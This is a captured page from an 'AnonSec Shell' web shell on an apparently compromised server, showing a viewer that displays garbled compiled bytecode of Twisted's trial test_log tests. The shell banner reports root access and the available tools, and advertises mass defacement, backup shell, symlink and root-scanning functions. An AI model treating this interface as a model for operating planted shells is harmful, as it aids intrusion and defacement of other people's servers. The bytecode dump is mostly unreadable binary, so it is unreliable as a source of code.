AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/trial/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/trial/test/__pycache__/test_log.cpython-310.pyc
o

�bh�@s�dZddlZddlmZmZddlmZmZddlm	Z	m
Z
mZdd�ZGdd	�d	�Z
Gd
d�dej�ZGdd
�d
�ZGdd�deej�ZGdd�deej�ZdS)zG
Test the interaction between trial and errors logged during test run.
�N)�reactor�task)�failure�log)�	_synctest�reporter�unittestcCs,zddW|Styt��}Y|Sw)z*
    Return a new, realistic failure.
    �r)�ZeroDivisionErrorr�Failure)�f�r
�=/usr/lib/python3/dist-packages/twisted/trial/test/test_log.py�makeFailures
�
�rc@sFeZdZdZGdd�d�ZGdd�deej�ZGdd�deej�Z	dS)	�Maskz?
    Hide C{MockTest}s from Trial's automatic test finder.
    c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
zMask.FailureLoggingMixincCsdS)z/
            Don't log any errors.
            Nr
��selfr
r
r�test_silent sz$Mask.FailureLoggingMixin.test_silentcCst�t��dS)z-
            Log a single error.
            N�r�errrrr
r
r�test_single%sz$Mask.FailureLoggingMixin.test_singlecCst�t��t�t��dS)z)
            Log two errors.
            Nrrr
r
r�test_double+sz$Mask.FailureLoggingMixin.test_doublecCst�t��dddS)z8
            Log a single error, then fail.
            r	Nrrr
r
r�test_singleThenFail2sz,Mask.FailureLoggingMixin.test_singleThenFailN)�__name__�
__module__�__qualname__rrrrr
r
r
r�FailureLoggingMixins
rc@seZdZdS)zMask.SynchronousFailureLoggingN)rrrr
r
r
r�SynchronousFailureLogging9src@seZdZdd�ZdS)zMask.AsynchronousFailureLoggingcCst�tddd��S)zC
            Log an error in an asynchronous callback.
            rcSst�t��S�Nrr
r
r
r�<lambda>AszAMask.AsynchronousFailureLogging.test_inCallback.<locals>.<lambda>)r�
deferLaterrrr
r
r�test_inCallback=sz/Mask.AsynchronousFailureLogging.test_inCallbackN)rrrr!r
r
r
r�AsynchronousFailureLogging<sr"N)
rrr�__doc__rr�SynchronousTestCaser�TestCaser"r
r
r
rrs
rc@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�
ObserverTestsz
    Tests for L{_synctest._LogObserver}, a helper for the implementation of
    L{SynchronousTestCase.flushLoggedErrors}.
    cCst��|_t��|_dSr)r�
TestResult�resultr�_LogObserver�observerrr
r
r�setUpJs
zObserverTests.setUpcCs0|j�dt��ddd��|�|j��g�dS)zW
        Test that a standard log message doesn't go anywhere near the result.
        )zsome messager�-)�message�time�isError�systemN)r*�gotEventr.�assertEqual�	getErrorsrr
r
r�test_msgNs��zObserverTests.test_msgc	Cs<t�}|j�dt��dd|dd��|�|j��|g�dS)zF
        Test that an observed error gets added to the result
        r
r	r,N�r-r.r/r0r�why)rr*r1r.r2r3�rrr
r
r�
test_error\s��
zObserverTests.test_errorcCsL|��|j��}|�|j��g�|�t|�d�|�|d�t��dS)zS
        Check that flushing the observer with no args removes all errors.
        r	rN)	r8r*�flushErrorsr2r3�len�
assertTrue�checkr
)r�flushedr
r
r�
test_flushms

zObserverTests.test_flushcCst�td��S)Nz
test error)rr�RuntimeErrorrr
r
r�_makeRuntimeFailurew�z!ObserverTests._makeRuntimeFailurec
Csx|��|��}|j�tdt��dd|dd��|j�t�}|�|j�	�|g�|�t
|�d�|�|d�t��dS)zY
        Check that flushing the observer remove all failures of the given type.
        r
r	r,Nr5r)
r8r@r*r1�dictr.r9r
r2r3r:r;r<)rrr=r
r
r�test_flushByTypezs��zObserverTests.test_flushByTypec	CsF|j�t�t�}|j�dt��dd|dd��|�|j��g�dS)zS
        Check that C{_ignoreErrors} actually causes errors to be ignored.
        r
r	r,Nr5)r*�
_ignoreErrorsr
rr1r.r2r3r7r
r
r�test_ignoreErrors�s��
zObserverTests.test_ignoreErrorsc	CsR|j�t�|j��t�}|j�dt��dd|dd��|�|j��|g�dS)zj
        Check that C{_clearIgnores} ensures that previously ignored errors
        get captured.
        r
r	r,Nr5)	r*rDr
�
_clearIgnoresrr1r.r2r3r7r
r
r�test_clearIgnores�s
��
zObserverTests.test_clearIgnoresN)rrrr#r+r4r8r>r@rCrErGr
r
r
rr&Ds
r&c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�LogErrorsMixinzb
    High-level tests demonstrating the expected behaviour of logged errors
    during tests.
    cCst��|_dSr)rr'r(rr
r
rr+�rAzLogErrorsMixin.setUpcCs|�t�dSr)�flushLoggedErrorsr
rr
r
r�tearDown�rAzLogErrorsMixin.tearDowncCsf|�d�}||j�|�t|jj�d�|�|jjdd�t�|jjdd�|�d|jj�dS)zI
        Test that a logged error gets reported as a test error.
        rr	rN)	�MockTestr(r2r:�errorsr;r<r
�	successes�r�testr
r
r�test_singleError�s

"�zLogErrorsMixin.test_singleErrorcCs<|�d�}||j�|�t|jj�d�|�d|jj�dS)zf
        Test that when two errors get logged, they both get reported as test
        errors.
        r�rN�rKr(r2r:rLrMrNr
r
r�test_twoErrors�s

zLogErrorsMixin.test_twoErrorscCsh|�d�}|�d�}||j�||j�|�t|jj�d�|�|jjdd|�|�d|jj�dS)zT
        Check that an error logged in one test doesn't fail the next test.
        rrr	rNrR�r�t1�t2r
r
r�test_errorsIsolated�s



z"LogErrorsMixin.test_errorsIsolatedcCs�|�d�}|�d�}||j�||j�|�t|jj�d�|�|jjdd|�|jjdd�t�|�|jjdd|�|jjdd�t�|�d|jj�dS)zN
        An error logged in a failed test doesn't fail the next test.
        rrrQrr	N)	rKr(r2r:rL�trap�	TypeErrorr
rMrTr
r
r� test_errorsIsolatedWhenTestFails�s



z/LogErrorsMixin.test_errorsIsolatedWhenTestFailscCsLt��}|�td|�tjjdd�}|��}||j�|�|tjj�dS)zE
        There are no extra log observers after a test runs.
        �_logObserverN)	rr)�patchr�theLogPublisher�	observersrKr(r2)rr*r^rOr
r
r�test_boundedObservers�s
z$LogErrorsMixin.test_boundedObserversN)rrrr#r+rJrPrSrWrZr_r
r
r
rrH�s
rHc@seZdZejZdS)�SynchronousLogErrorsTestsN)rrrrrrKr
r
r
rr`�s
r`c@seZdZejZdd�ZdS)�AsynchronousLogErrorsTestscCsV|�d�}||j�|�t|jj�d�|�|jjdd�t�|jjdd�dS)zS
        Test that errors logged in callbacks get reported as test errors.
        r!r	rN)rKr(r2r:rLr;r<r
rNr
r
rr!s

"�z*AsynchronousLogErrorsTests.test_inCallbackN)rrrrr"rKr!r
r
r
rrasra)r#r.�twisted.internetrr�twisted.pythonrr�
twisted.trialrrrrrr$r&rHr`r%rar
r
r
r�<module>s*mM

Anon7 - 2022
AnonSec Team